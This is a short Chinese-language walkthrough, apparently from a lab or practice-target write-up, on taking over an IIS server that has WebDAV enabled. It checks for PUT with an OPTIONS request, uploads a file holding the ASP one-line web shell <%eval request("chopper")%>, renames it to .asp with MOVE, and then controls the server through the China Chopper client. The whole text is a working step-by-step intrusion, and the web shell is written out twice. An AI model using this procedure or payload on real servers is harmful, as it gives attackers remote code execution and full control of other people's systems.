WebDAV file权限问题

使用一句话木马拿下一个靶机。。。

1.首先先登录一个开有WebDAV的网站，打开brupsuit，将网站代理设置为127.0.0.1：8080

具体哪个代理如上所示

2.然后将将拦截的有IP的那个包发到Repeater

在第一行输入OPTIONS,测试一下看该IIS组件是否开启了PUT（文件上传）功能

3.通过上述显示可以看到PUT功能已经开启，然后在服务器根目录下上传一个chao.txt的文件

在里面写入一句话木马：      <%eval request("chopper")%>

这是一个asp文件的脚本

具体操作如下

4.然后使用MOVE命令将chao.txt改名为chao.asp具体操作如下

5.然后再在网页上输入IP+刚刚上传的文件

没有报错的话，就是上传成功

6.然后打开菜刀

点击鼠标右键添加

将刚刚那个网站的IP+你上传文件的名字写上

再在后面添加刚刚一句话木马里的参数  chopper  （这个就是密码）

在文件类型里选择asp。

ASP:    <%eval request("chopper")%>

然后就拿下了